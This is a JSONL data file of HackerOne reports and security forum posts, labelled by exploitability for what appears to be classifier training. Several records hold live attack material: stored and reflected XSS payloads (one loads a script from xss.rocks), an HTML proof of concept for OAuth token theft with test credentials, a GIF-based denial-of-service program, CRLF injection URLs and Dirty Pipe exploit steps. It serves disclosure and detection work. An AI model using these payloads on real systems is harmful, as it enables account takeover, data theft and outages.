-{"id": "f068c40e300cb2d855be", "text": "[Incorrect Calculation of Buffer Size] High memory usage for generating preview of broken image\n\nWhen the attached file is uploaded and a preview is generated (e.g. in the folder overview of the files app), the PHP process allocates a very large amount of memory (on my machine it was shortly around 5 GByte)  and CPU.\n\nTested with latest master (1366b35081f1d92429787696f4175c19a602858a)  on Ubuntu 20.04 (php7.4-fpm). Option \"memory_limit\" is set to 512M.\n\n## Impact\n\nAn attacker can cause a denial of service by uploading lots of such files which will cause the server to allocate too much memory / CPU.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9cf281ff715f3963dd88", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in Dovetale by application of creator\n\n## Summary:\nDovetale is an influencer platform from Shopify to manage and scale influencer marketing. The influencers can become an ambassador of the brand and  are able to apply for it. If a malicious creator applies with XSS payloads inside the  first name, last name, etc., the data  is stored and presented to the admins of the brand within the application area of Dovetale. The HTML-/JavaScript is finally triggered, when the admin is approving the application.\n\n## Shops Used to Test:\n19kun-24.myshopify.com\n\n## Steps To Reproduce:\n\n**Preconditions**: A \"real\" subscription for a Shopify plan (e.g. Basic Plan) is needed to get applications / manage  applicants. The creation of a development store is somehow not sufficient.\n\n  1. (Victim) Install the Dovetale app for your store, create the Dovetale account and link it to your specific store.\n  2. (Victim) Create an appropriate application page and copy the application link for becoming an ambassador (see F1841622)\n  3. (Attacker) Open the link in a new browser instance and follow the application procedure. Apply for example with an existing Instagram account and...\n  4. (Attacker) ...now it's time to fill out your personal data. Use for your last name the XSS payload `<object type=\"text/x-scriptlet\" data=\"https://xss.rocks/scriptlet.html\"></object>` according to the screenshot below:  \n{F1841624}\n  5. (Attacker) Finish and submit the application. Afterwards you have to verify the email address and then you're good.\n  6. (Victim) You should now have received the application. Click on \"Approve\" ...  \n{F1841627}\n  7. (Victim) ...you are are now able to create the welcome email (see F1841629). The XSS payload doesn't trigger here because of the sanitization of the trip editor, but if you click \"Next Welcome package\" > \"Next Review\", the email is shown again and the JavaScript code is executed:  \n{F1841634}\n\n**Note:** The defined Content Security Policy of the page was successfully bypassed by using the `object` tag as this is not prevented by the policy.\n\n## Impact\n\n- Execution of JavaScript code in the victim's (e.g. Dovetale Account Owner) browser\n- Exfiltration of confidential data. It's also possible to steal data of other applicants or data such as CSRF-Tokens etc. (I can also proof / show such an attack)\n- Defacing of the site through HTML injection\n- Phishing", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "661b84b6a54200f2e8f1", "text": "Exploiting File Upload Vulnerability for images embedded as src=\"data:image/jpeg;base64\"\n\nHi there, every now and then I stumble over web apps that are based on JavaScript / JSON frameworks. There is a functionality to upload images, which I can bypass to upload a shell or other file types. However, when displaying the image via the web app, the image is embedded usually in the following way: <img src=\"....\"> Do you see any way to exploit this anyway? So far, I have been capturing the HTTP requests to check from which directory the file has been pulled from and try to access the file directly from there.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-12-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c55cee3196cc83a2d04", "text": "[Cross-Site Request Forgery (CSRF)] Account takeover due to insufficient URL validation on RelayState parameter\n\nHi,\n\n\nI have found an issue which can be used by an attacker to steal Bitbucket access token along with Other third party access tokens(google, salesforce etc). But the most important one is bitbucket. \n\n\nIssue:\n=====\n\n\n* there is open redirect while loggin to gitlab Via SAML, while the Open redirect is not much impactful since it is a post based request coming from third party domain, but the redirect happens and is also saved along in the gitlab cookies while being redirect and next time user visits `gitlab.com/user/sign_in`, he is automatically sent to the redirect\n\n\n### open redirect:\n{F2260468}\n\n\nThis chain can be used to steal third party access token `login with google, github, bitbucket, twitter, salesforce ....... etc` but we will focus on bitbucket for the following reason:\n\nIt has the presaved oauth scopes which is wide and also the client id is same as that of when you use the import project from bitbucket feature:\n\n{F2260558}\n\n\nScope : (Read acccess to all data in account and some write access, projects's wikis):\n\n{F2260561}\n\n\nsimilar is the case for Github, but Github doesn't allow implicit grant. \n\n### implicit grant for bitbucket:\n\nthis simply returns access token as bearer to attacker's domain , which can be used to access full bitbucket api.\n\nThis makes both users vulnerable,:\n`people who chose to log in with bitbucket`\n`people who chose other means of login, but have previously imported project from bitbucket into gitlab`\n\nPOC:\n=====\n\n ### As victim:\n\n make sure you have previously used bitbucket with gitlab, weather for login with bitbucket or for importing project.\n\n\n### As attacker:\n\n* setup a group with SAML Login and setup a user to log into gitlab with SAML\n\nHere are my credentials for triage purposes: (Please note i will revoke these credentials upon triage, let me know if you need them longer or dont need them at all)\n\nhttps://bugcrowd-iambull-2.oktapreview.com/\n\nusername: `gitlab@gitlab.com`\npassword : `Gliatb4passtbx!`\n\nsecurity answer: `Gliatb`\n\n\n\n\nPOC:\n=====\n\n\n* log victim out with Logout CSRF\n\n* use SAML creds to save open redirect for victim:\n\nhttps://bugcrowd-iambull-2.oktapreview.com/app/bugcrowd-iambull-2_gitlabcom_1/exk1lit3jovMjvewh0h8/sso/saml?RelayState=.witcoat.com\n\n* initiate bitbucket oauth by changing response_type to `token`\n\nhttps://bitbucket.org/site/oauth2/authorize?client_id=b9jLmh8WCLZPBAwWba&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fbitbucket%2Fcallback&response_type=token&state=DoesNotMatter\n\n* try using stolen bitbucket api:\n\n```\nGET /2.0/repositories/%7B766210f9-9bec-4010-9f4d-917b06661c0c%7D HTTP/2\nHost: api.bitbucket.org\nUser-Agent: curl/7.79.1\nAccept: */*\nAuthorization: Bearer Txpo3AXXQZHlp....\n\n```\n\n\n\n\nhere is the poc for doing everything step by step, **please note all this can be automated with window.open for 1 click exploit**\n\n\n```\n<html>\n<title>GitLab</title>\n\n\n<body>\n\t\n<span>Logout of gitlab if logged in:</span>\n\n<form action=\"https://gitlab.com/users/sign_out\" target=\"_blank\" method=\"post\"><button>Logout Gitlab Account</button></form>\n\n<br>\n<br>\n<br>\n<br>\n\n<span>Open redirect via SAML:</span>\n\n<form action=\"https://bugcrowd-iambull-2.oktapreview.com/app/bugcrowd-iambull-2_gitlabcom_1/exk1lit3jovMjvewh0h8/sso/saml\" target=\"_blank\" method=\"get\">\n\t<input type=\"hidden\" name=\"RelayState\" value=\".witcoat.com\" /> \n\t<button>Save Open Redirect</button></form>\n<br>\n\n\n<span>steal oauth access Token For Bitbucket:</span>\n\n<form action=\"https://bitbucket.org/site/oauth2/authorize\" target=\"_blank\" method=\"get\">\n\t<input type=\"hidden\" name=\"client_id\" value=\"b9jLmh8WCLZPBAwWba\" /> \n  <input type=\"hidden\" name=\"redirect_uri\" value=\"https://gitlab.com/users/auth/bitbucket/callback\" /> \n  <input type=\"hidden\" name=\"response_type\" value=\"token\" /> \n    <input type=\"hidden\" name=\"state\" value=\"Doesnotmatter\" /> \n\n\n\t<button>Steal Bitbucket Code</button>\n</form>\n\n\n</body>\n\n\n\n</html>\n```\n\n\n\nhere is the video of going through steps:\n\n{F2260621}\n\n## Phishing ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9e54978d46ac8f45b66a", "text": "[Cross-site Scripting (XSS) - Reflected] Jolokia Reflected XSS\n\n## Summary:\n\n(salam)\nHi team i hope you are well , after doing some recon on mars.com i saw that the website use jolkia 1.3.5 it's vulnerable to reflected XSS  \n\n## Steps To Reproduce:\n\n  1. Vuln Link : https://couponsmanager-uat.b2b.mars.com/jolokia/read%3Csvg%20onload=alert(document.cookie)%3E?mimeType=text/html\n\n## Supporting Material/References:\nCVE-2018-1000129\n\nJolkia - Version\n{F1957663}\n\n\n##POC \n\n{F1957668}\n\n## Impact\n\nIf an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:\nPerform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2018-1000129"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e7784d14d12a6ade8b0d", "text": "[Privacy Violation] Messages can still be seen on conversation after expiring when cron is misconfigured\n\n## Summary:\nNextcloud talk has a feature called ```Message Expiration```, Chat messages can be expired after a certain time. However the message  does not really expire and can still be seen by anyone.\n\n## Steps To Reproduce:\n\n1. Create a conversation\n1. Set the message expiration Go to Settings > Moderation \n1. Pick anything and using burp intercept the request and set it to 60 or 120 seconds.\n1. send a message\n1. wait for the message to expire\n1. Copy the conversation link and open it to a new tab\n\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n ██████████\n\n## Impact\n\nMessages that should expired is divulged to anyone that can access the conversation, This includes personal and group.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "19948d4ac4e1ea2dd50e", "text": "In actual, I didn’t have to use SharpHound.ps1. The key to solution is acls.csv . This file is one of the files regarding AD and it contains informations about target AD.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aaa765007b95dd5cfc9a", "text": "Uh the MacBook Pro usually for stuff Windows X Server if anything “What are youre programs?” Open Server 10 Visual Studio Outlook Email Windows X Server Hackintosh — cofee 4 conversation but theres no almond", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7beebebed0831ebe5ce0", "text": "[Business Logic Errors] CVE-2023-27538: SSH connection too eager reuse still\n\nlibcurl would reuse a previously created connection even when an SSH related option had been changed that should have prohibited reuse.\n\nlibcurl keeps previously used connections in a connection pool for subsequent transfers to reuse if one of them matches the setup. However, two SSH settings were left out from the configuration match checks, making them match too easily.\n\n## Hackerone report\n#1898475\n\n## Impact\n\nConnection reuse when different ssh keys are specified.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-27538"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6c730a70e0aa68b0a102", "text": "Dirty Pipe - CVE-2022-0847 - Linux Privilege Escalation\n\nDirty Pipe - CVE-2022-0847 1280×720 301 KB Video Tutorial CVE-2022-0847 - Dirty Pipe - Linux Privilege Escalation GitHub Repo: GitHub - AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits: A collection of exploits and documentation that can be used to exploit the Linux Dirty Pipe vulnerability. About The Vulnerability Dirty Pipe (CVE-2022-0847) is a local privilege escalation vulnerability in the Linux kernel that could potentially allow an unprivileged user to do the following: Modify/overwrite arbitrary read-only files like /etc/shadow or /etc/passwd. Obtain an elevated shell. Affected versions Linux kernel versions newer than 5.8 are affected. So far the vulnerability has been patched in the following Linux kernel versions: 5.16.11 5.15.25 5.10.102 You can learn more about the vulnerability here: CVE - CVE-2022-0847 DirtyPipe Vulnerability Scanner If you are not sure if a target system is vulnerable, use this really cool bash script developed by @basharkey . DirtyPipe Checker: GitHub - basharkey/CVE-2022-0847-dirty-pipe-checker: Bash script to check for CVE-2022-0847 \"Dirty Pipe\" Compiling the exploit An automated compiler bash script has been provided to you to automate the compilation of both exploits. In order to compile the exploit succesfully, you will need to have GCC installed. sudo apt-get install gcc After installing GCC, you can run the 'compile.sh\" script as follows: chmod +x compile.sh ./compile.sh Exploit-1 - Modifying/overwriting read only files This repo contains 2 exploits, the ‘exploit-1.c’ exploit can be used to modify or overwrite arbitrary read only files. This exploit is a proof of concept that was developed by Max Kellermann and has been modified to change the root password in the /etc/passwd file, consequently providing you with access to an elevated shell. Running the exploit binary The exploit code has already been configured to replace the root password with the password “piped” and will take a backup of the /etc/passwd file under /tmp/passwd.bak. Furthermore, the exploit will also provide you with an elevated root shell and will restore the original passwd file when done. ./exploit-1 Exploit-2 - Hijacking SUID binaries This exploit can be used to inject and overwrite data in read-only SUID process memory that run as root. Finding SUID binaries find / -perm -4000 2>/dev/null Running the exploit binary ./exploit-2 /usr/bin/sudo Important Note I do not claim credit/ownership/disclosure of the vulnerability and all corresponding exploits hosted in this GitHub repo. All the credit goes to the awesome Max Kellerman, you can check out the official disclosure here: https://dirtypipe.cm4all.com/ Credits GitHub - febinrev/dirtypipez-exploit: CVE-2022-0847 DirtyPipe Exploit. GitHub - basharkey/CVE-2022-0847-dirty-pipe-checker: Bash script to check for CVE-2022-0847 \"Dirty Pipe\"", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-0847"], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "133d3779ff23c878f273", "text": "[Improper Restriction of Authentication Attempts] Missing brute force protection for passwords of password protected share links\n\nHi Team,\n\nI hope you are doing well.\n\nVulnerability Name :- Bypass Password of Shared Files due to Lack of Rate Limit\n\nVulnerability Description :- Hi Team, I found a vulnerability in which I am able to bypass password protection of shared files due to lack of Rate limit.\n\nVulnerable URL :- https://efss.qloud.my/index.php/s/7ARMkjXJXAEz2kr\n\nSteps to Reproduce :- 1. Login --> Go to Files --> Set Password.\n2. Copy Shared Link.\n3. It looks like :- https://efss.qloud.my/index.php/s/7ARMkjXJXAEz2kr\n4. Open it in other browser .\n5. It asks for password .\n6. Enter random password.\n7. Capture this request in burp suite.\n8. Send to intruder and select that position and paste the payload list.\n10. Click on start attack and Boom! after few mins it got bypassed with Response code 303.\n\n## Impact\n\nIt leads to bypass the password of protected share files.\n\nPOC Attached\n\nIf you need further info I am here to help you.\n\nThanks and Regards,\nBhaRat", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bc478a20beb608d42ded", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in RDoc hyperlinks through javascript scheme\n\nHello,\n\nI found that it is possible to bypass the XSS filtering made in a series of patches to solve #1187156 report.  The #1187156 wasn't sent by me, I found the 'hyperlinks' fixes from investigating the git log.\n\nPoC\n----\n\nCreate the file with the following link:\n```\nx[javascript:alert(1)]\n```\nThe output html file will contain:\n```html\n<a href=\"javascript:alert(1)\">x</a>\n```\n\n## Impact\n\nA cross-site scripting (XSS) vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "23fdd68f75d06a013849", "text": "Perhaps a stupid question, I always performed all the tasks through my own VM, how do I copy the clipboard to pwnbox?)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "358b94e8246ba1713f93", "text": "[Insecure Direct Object Reference (IDOR)] Improper santization of edit in list feature at twitter leads to delete any twitter user's list cover photo.\n\nSummary:\nImproper santization of edit list feature at twitter leads to delete any twitter user's list cover photo.\nfrom this bug attacker can delete any twitter users list's cover photo.\n\nDescription:\nImproper santization of edit in list feature at twitter leads to delete any twitter user's list cover photo.\nfrom this bug attacker can delete any twitter users list's cover photo.\nas changing a media id in attackers  request makes two entity referring to single photo so when attacker deletes his cover photo automatically the media related to that gets deleted so victims cover photo also gets deleted\n\n## Steps To Reproduce:\n\nStep 1: gain media-id(for cover photo of list) of victim easily accessible by visiting list on victims profile.\n\nStep 2: now from attackers account create a list and change cover photo, intercept the request and change the media id to victims cover photo id. \n\nStep 3 : after that delete list's cover photo from attackers account it will automatically delete victim list's cover photo .\n\n## Impact:\nSecurity Impact : attacker can delete any twitter users list's cover photo.\n\n## Supporting Material/References:\nPOC Attached Below\n\n  * List any additional material (e.g. screenshots, logs, etc.)\n\n## Impact\n\nSecurity Impact : attacker can delete any twitter users list's cover photo.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8335ade9ab128606bb24", "text": "This is some crazy ■■■■… HTB just likes making life harder. The questions, hints and expected answer format takes way longer than completing the module itself.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a700c1bace4df1cb26c4", "text": "[Unknown] CPP: Add query for CWE-266 Incorrect Privilege Assignment\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "744ce3ec4f386cb35ff7", "text": "After prompted PayloadBunny, it became clear that it was not necessary to use the script and brute force, and I stupidly found the answer through google, but it was no longer bruteforce, but OSINT)) But the fact that the question itself was confusing me is 100%)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0895e2844721463d2add", "text": "[Unknown] No Rate Limit On Forgot Password Page\n\n## Summary:\nAbout No rate Limiting Vulnerability:-\nNo rate limit is a flaw that doesn't limit the no. of attempts one makes on a website server to extract data.It is a vulnerability which can prove to be critical when misused by attackers.\n\n## Description:-\nI have identified that when using forget password for account, The request has no rate limiting through which i can send multiple request to the server in order to guess the correct username after that in security question also there is no rate limiting set through which i can able to guess the answer as well which can be lead to account takeover.\n\n## Steps To Reproduce:\n\n  1. Step 1-Go To This Link  https://ctr.tva.com/Login.aspx  and click on forget password page.\n  2.  Intercept This Request In Burp and send it to intruder. \n  3. add mark on username and set payload and click on start attack.\n  4.as you can see i can able to send multiple request to the server in order to guess the correct username.\n\n## Supporting Material/References:\nhttps://www.geeksforgeeks.org/no-rate-limiting-flaw-in-cyber-security\n\n## Impact\n\nAs rate limiting is not set in forget password page and security question page i can able to perform brute force attack to enumerate  valid username and correct answer for security question which can lead to breaking of authentication or can even lead to account takeover.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9ed5607cee2b3523f0cf", "text": "[Uncontrolled Resource Consumption] DOS: out of memory from gif through upload api\n\n## Summary:\nWhen sending a specially crafted gif with max dimensions through the upload API, we get Mattermost server to consume more than 4Gbytes of RAM\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Run `docker run --name mattermost-preview -d --publish 8065:8065 mattermost/mattermost-preview -m=4G` as documented https://docs.mattermost.com/guides/deployment.html with 4G limit from https://docs.mattermost.com/install/software-hardware-requirements.html#hardware-requirements-for-team-deployments\n  1. Get one channel id\n  1. Run this simple POC below with a valid channel id\n  1. Docker container gets killed\n\n```\npackage main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"github.com/mattermost/mattermost-server/v5/model\"\n)\n\nfunc main() {\n\tClient := model.NewAPIv4Client(\"http://localhost:8065/\")\n\tClient.Login(\"toto\", \"tototo\")\n\tus := &model.UploadSession{\n\t\tChannelId: \"5dtj9hf89ifap8imigbzjc7wjo\",\n\t\tFilename:  \"oom.gif\",\n\t\tFileSize:  31,\n\t}\n\tus, response := Client.CreateUpload(us)\n\tfmt.Printf(\"lol %s %#+v\\n\", us, response)\n\tdata := []byte{0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x2e, 0xf8, 0xff, 0xff, 0xf, 0x18, 0x18, 0x2c, 0x7f, 0x20, 0x0, 0x0, 0x0, 0xa0, 0xff, 0xff, 0xff, 0xd4, 0x9a, 0xf0, 0xb4, 0x8, 0x35, 0x4, 0x0}\n\tinfo, err2 := Client.UploadData(us.Id, bytes.NewReader(data))\n\tfmt.Printf(\"lol %s %#+v\\n\", err2, info)\n}\n```\n\nThis happens with `gif.DecodeAll` being called by `GetInfoForBytes` getting called by `App.UploadData` being called by `doUploadData` being called by `uploadData` without any call to `preprocessImage` as is done in the `api/v4/files` route\n\nDocker container gets killed\n\n## Impact\n\nCrash a server", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "25b0fac61236813d49ef", "text": "[CRLF Injection] CRLF Inection at `banfieldassets.com`\n\n## Summary:\n\nA CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.\n\n## Steps To Reproduce:\n\nNavigate to this URL\nhttp://www.banfieldassets.com/%0D%0ASet-Cookie:%20CRLF_Injection_By_ze2pac\n\n## PoC:\n```\n┌──(azab㉿kali)-[~]\n└─$ curl -i http://www.banfieldassets.com/%0D%0ASet-Cookie:%20CRLF_Injection_By_ze2pac \nHTTP/1.1 307 Temporary Redirect\nDate: Tue, 11 Apr 2023 20:51:09 GMT\nContent-Type: text/html\nContent-Length: 164\nConnection: keep-alive\nServer: nginx\nLocation: https://banfieldassets.widencollective.com/\nSet-Cookie: CRLF_Injection_By_ze2pac\n\n<html>\n<head><title>307 Temporary Redirect</title></head>\n<body>\n<center><h1>307 Temporary Redirect</h1></center>\n<hr><center>nginx</center>\n</body>\n</html>\n```\n\n## Impact\n\nXSS, Open Redirect, HTTP Response Splitting... etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "85ed722c3a2872c88c2a", "text": "[Improper Access Control - Generic] Hide download previews are accessible without a watermark\n\nInitial report from https://github.com/nextcloud/richdocuments/issues/2561\n\n**Describe the bug**\nThe secure watermarked view announced for Nextcloud 25 / Hub 3 can be hacked. See reproduction steps below.\n\n**To Reproduce**\n\n1. Go to Nextcloud Office Admin Settings and set the watermark options to have a custom watermark in read-only shares, without a download button.\n2. For example, create a read-only public share link without a download button.\n3. Go to the created public URL and see that there is as expected a watermark on the read-only document and no download button. For now, everything is OK.\n4. Then notice that there is the close document cross at the top right. IMO, this cross should not exist because when you click on it, the document reappears behind, without the watermark. Even though the document appears smaller, I think this is risky and goes against the privacy purpose of this feature shown in Berlin.\n\n**Expected behavior**\nThe close button should not appear at the top right in order to keep the recipient of the share captive in this view of the document. I go further in my explanation by saying that if the share is a single file share and not a folder share, the close button should never appear, because the share recipient is not supposed to access an upstream folder, but just be able to view the file (and edit it if he has write permission), nothing else.\n\n**Screenshots**\nHere is the closing button : \n![2022-10-21_14-29](https://user-images.githubusercontent.com/33763786/197195931-1e55f569-de6c-4527-be30-6e584a847468.png)\nHere is what we get after clicking on it : \n![2022-10-21_14-39](https://user-images.githubusercontent.com/33763786/197197843-fb0eba78-17f7-4b71-8eca-0254b0e80af1.png)\n\n## Impact\n\nWhile the download should be hidden and the watermark should get applied the preview is still visible without", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9f2337d845cbfde378a2", "text": "[Misconfiguration] Security misconfiguration\n\n## Description :\nWhen we request a magic link to login into the application, and use that same link in multiple browsers, it working there isn't any limit on use of link.\n\nSteps to reproduce :\n1. go to app.lemilist.com\n2. create a magic link \n3. use it to login \n4. now open another browser or incognito window\n5. use that same magic link\n\nAnd You'll be logged in in your account.\n\n## Impact\n\nIf Attacker gets the magic link of user he can login into victim's account.\nAccount takeover.\n\nMitigation :\n1. Add a limit to magic link and remove the magic link from database after 1 use.\n2. only allow the Requester IP to login using the magic link.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9a428803c2bead3f393f", "text": "[Information Disclosure] Secrets can be unmasked in the \"Rendered Template\"\n\n## Affected versions\nApache Airflow before 2.7.1\n\n## How to reproduce\n\nGo to the `Rendered Template` page and in address line replace encoded symbols of `execution_date` parameter with decoded symbols. Page is still shown, but with credentials unmasked.\n\nSibling pages in contrast have different behavior: `K8s Pod Specs` shows oops page and ` Log` shows empty log when`execution_date` parameter is malformed\n\n## Example\n```\nnot masked - http://airflow.dev.local/rendered-templates?dag_id=tutorial_taskflow_api&task_id=extract&execution_date=2023-08-17T16%3A15%3A08.189107+00%3A00\nmasked     - http://airflow.dev.local/rendered-templates?dag_id=tutorial_taskflow_api&task_id=extract&execution_date=2023-08-17T16%3A15%3A08.189107%2B00%3A00\n```\n\n{F2774937}\n{F2774939}\n\nExample dag code:\n```python\nimport json\n\nimport pendulum\n\nfrom airflow.decorators import dag, task\nfrom airflow.models import Variable\n@dag(\n    schedule=None,\n    start_date=pendulum.datetime(2023, 8, 17, tz=\"UTC\"),\n    catchup=False,\n    tags=[\"example\"],\n)\ndef tutorial_taskflow_api():\n\n    @task()\n    def extract(pwd):\n        return pwd\n\n\n    order_data = extract(pwd = Variable.get('secret_var'))\n    print(order_data)\n\n\ntutorial_taskflow_api()\n```\n\nIn airflow UI variable with name `secret_var` should be added before trying\n\n## Impact\n\nAny user who can see a dag can get access to secret credentials used by this dag", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c00e0e77b6c3ca7aecbd", "text": "[Privilege Escalation] Email Verification Bypass Allows Users to Add & verify Any Email  As Guardians Email\n\n1. Go to https://www.khanacademy.org/signup and signup as learner keeping date of birth below 13 years.\n{F1821117}\n2. Now keep victims email as parent's email for example here I am keeping info@khanacademy.org as parents email and click on signup.\n████\n3. Now you will see a following message \"Your parent or guardian must approve your account or it will be deleted in 7 days\".\n██████\n4. Now go to https://www.khanacademy.org/settings/account and update your email to temporary email or any email you have access to.\n██████████\n██████\n5. Now, you will receive a verification email in your temporary email you have access to. But don't click on the email. Now again change the email to info@khanacademy.org.\n\n{F1821137} ███████\n6. Now open the verification email you received in your temporary email account in an incognito tab and refresh your child's account. We have successfully tied info@khanacademy.org as parent account with email verification.\n\nThis is the account that I created : Username : ██████ Password : ██████████ Email : ████\n\n█████████\n\n## Impact\n\nAttacker is able to bypass email verification.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "edbdfd778e3aae614938", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on issue comments and other pages which contain notes\n\n### Summary\n\nThis report contains two XSS sanitization bypasses:\n\n* The [SyntaxHighlightFilter](https://gitlab.com/gitlab-org/gitlab/-/blob/c2e5d7b89b84cc5b44575592bb706ef75c3d1bbb/lib/banzai/filter/syntax_highlight_filter.rb) creates html from unsanitized data. This can be used to bypass the XSS filter on the server-side. \n\n```ruby\n def highlight_node(node)\n...\nsourcepos = node.parent.attr('data-sourcepos')\n...\nsourcepos_attr = sourcepos ? \"data-sourcepos=\\\"#{sourcepos}\\\"\" : \"\"\n\n highlighted = %(<pre #{sourcepos_attr} class=\"#{css_classes}\"\n                             lang=\"#{language}\"\n                             #{lang_params}\n                             v-pre=\"true\"><code>#{code}</code></pre>)\n```\n\n* The [gl-emoji](https://gitlab.com/gitlab-org/gitlab/-/blob/5b0bedde99d676116221b56ad75fa89ccf8a9f28/app/assets/javascripts/behaviors/gl_emoji.js) custom element can be used to bypass the gitlab-ui `v-safe-html` directive sanitization on the frontend side by injecting the payload into the name attribute:\n\n```js\nexport function emojiImageTag(name, src) {\n  return `<img class=\"emoji\" title=\":${name}:\" alt=\":${name}:\" src=\"${src}\" width=\"20\" height=\"20\" align=\"absmiddle\" />`;\n}\n```\n\n* Gitlab SaaS is not vulnerable because this report does not include CSP bypass. I'm currently working on this.\n\n### Steps to reproduce\n\n{F1510920}\n\n1. Launch self-managed Gitlab instance\n2. Create issue\n3. Copy and paste the following payload into the comment field:\n\n```\n<pre data-sourcepos=\"&#34; href=&#34;x&#34;></pre>\n<gl-emoji data-name='&#34;x=&#34y&#34 onload=&#34;alert(document.location.href)&#34;' data-unicode-version='x'>\nabc\n</gl-emoji>\n<pre x=&#34;\">\n<code></code></pre>\n```\n\n#### Results of GitLab environment info\n\n```\n# gitlab-rake gitlab:env:info         \n\nSystem information\nSystem:\nProxy:          no\nCurrent User:   git\nUsing RVM:      no\nRuby Version:   